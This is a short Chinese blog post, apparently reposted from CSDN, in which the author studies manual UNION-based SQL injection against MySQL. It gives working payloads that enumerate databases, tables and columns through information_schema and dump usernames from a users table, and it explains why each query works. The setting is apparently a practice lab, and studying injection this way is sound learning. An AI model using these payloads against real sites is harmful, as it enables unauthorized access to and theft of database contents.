手工注入原理

 之前虽然经常使用过一些注入语句,但只是得到结果,不得其深意。这次专门去了解分析其原理,希望有所收获

查询遍历所有的数据库:(limit n,m)(n>=0,m>0)

1' and 1=2 union select 1,schema_name,3,num,num from information_schema.schemata limit 0,1#

 查询当前数据库:

1' and 1=2 union select 1,database(),3,num,num#

查询表:

1' and 1=2 union select 1,table_name,3,num,num from information_schema.tables where 

table_schema='security' limit 0,1#

查询字段:

1' and 1=2 union select 1,column_name,3,num,num from information_schema.columns where 

table_schema='security' and table_name='users' limit 0,1#

查询字段内容:

1' and 1=2 union select 1,username,3,num,num from security.users limit 2,1#

 这种注入语句一般存在mysql5.0以上,原因是mysql自带的数据库informatiaon_schema

在这个数据库中存在 schemata, tables, columns 者三个表

而这三个表中分别存有所有数据库名, 所有表名, 所有列名

查询information_schema系统数据库中的schemata表,就可以得到所有数据库,并且数据库属性为schrma_name,由此可了解为什么查询所有数据库时是它了

 查询information_schema系统数据库中的tables表(因为表太多,所有我加了where条件只查询一个数据库的表)

可以发现该数据库的所有的数据库和所有表出来了,并且表的属性为table_name,当然也会发现数据库属性为table_schema

这是因为这个数据库名table_schema其实是tables表的一个列名,同理schema_name一样是schemata表的一个列名,当你需要查询的时候就要知道你要查询的是系统数据库的哪个表

所有查询表也可以了解了

查询information_schema系统数据库中的columns表

可以发现所有的数据库所有的表所有的列都出来了,对应的属性分别是:table_schema,table_name,column_name

所有查询字段也了解了

知道当前数据库,表,字段,就可直接查询到字段内容了

猜你喜欢

转载自blog.csdn.net/weixin_40709439/article/details/81319556
今日推荐